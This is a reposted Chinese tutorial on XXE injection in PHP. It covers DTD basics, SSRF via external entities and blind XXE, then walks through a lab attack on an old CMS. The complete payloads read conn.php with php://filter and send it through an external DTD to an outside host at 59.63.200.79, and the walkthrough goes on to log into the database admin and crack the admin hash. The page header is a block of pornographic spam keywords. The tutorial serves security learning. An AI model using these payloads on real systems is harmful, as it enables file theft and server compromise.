日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

XXE漏洞——介绍及利用

發布時間:2024/9/5 综合教程 32 生活家
生活随笔 收集整理的這篇文章主要介紹了 XXE漏洞——介绍及利用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

什么是xxe

XML外部實體注入,簡稱XXE漏洞。XML文檔結構包括XML聲明,DTD文檔類型定義,文檔元素。

XML示例

    <?xml version="1.0"?>XML聲明
    <!DOCTYPE note [
    <!ELEMENT note(to,from,heading,body)>
    <!ELEMENT to(#PCDATA)>
    <!ELEMENT from(#PCDATA)>            文檔定義類型(DTD)
    <!ELEMENT heading(#PCDATA)>
    <!ELEMENT body(#PCDATA)>
    ]>
    <note>
    <to>tove</to>
    <from>jani</from>
    <heading>reminder</heading>
    <body>don't forget me this weekend</body>            文檔元素
    </note>

DTD的內、外部聲明

內部聲明格式

<!DOCTYPE 根元素 [次一級元素聲明]

外部引用格式

<!DOCTYPE 根元素 SYSTEM "url路徑"

PHP示范利用DTD的外部使用操控XML

php代碼
<?php
	$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>';  //后面的標簽名,&實體聲明一定得有
	$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
	print_r($obj);
?>
結果:

外部DTD支持的協議

簡單漏洞利用!

可以讓目標服務通過特定協議去訪問相關資源,從而實現SSRF(服務器請求偽造)
攻擊。我們還可以進行內網服務探測、端口探測等利用
利用http請求baidu
<?php
	$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>';
	$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
	print_r($obj);
?>
結果

雖然頁面是很多Wraning警告,但其實我們已經得到了baidu的源碼數據

盲注漏洞利用!

XXE中也存在盲注,不會給你顯示東西。
思路

利用其他東西證明其存在

延時

寫文件

搭建一個服務器里邊有個php(test_blind.php)文件,訪問后搭建的服務器目錄生成一個文件

//test_blind.php  文件
<?php
file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
?>

將結果外帶出來

DNS注入

反彈注入

SSRF和XXE最大的功能是能發起請求,這給了我們很大的空間發揮

復現環境

目標

閃靈建站cms

分析

目標是老版本閃靈源碼。然后我找不到這個版本了。

數據庫配置目錄文件

conn/conn.php

含有 simplexml_load_string 函數的漏洞目錄文件

weixin/index.php

思路

訪問含有漏洞的文件,發現其接受POST傳參作為XML執行。但同時必須傳入一個參數(signature)讓它不為空

圖片1

圖片2

解讀php://input
接收所有POST的數據

實踐

首先試探性的隨便傳一些數據。

發現爆出了絕對路徑。這時候我們可以構造XML

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

% file 定義一個參數實體,SYSTEM表示外部引用。其中%remote是引用外部xml,那是靶場提供的xml,內容如下。

<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
>
%all;

發現繼續報錯,但是這并沒關系。我們已經得到了想要的東西。再看靶場提供的3.txt文件,里邊記錄了我們獲得的信息

解密后得到數據庫連接密碼,但是

則是內網ip,接下來我們找找網站數據庫登錄后臺。這里是adminer.php

成功進入后臺,查表得管理員密碼

md5解密后記得flag

總結

以上是生活随笔為你收集整理的XXE漏洞——介绍及利用的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。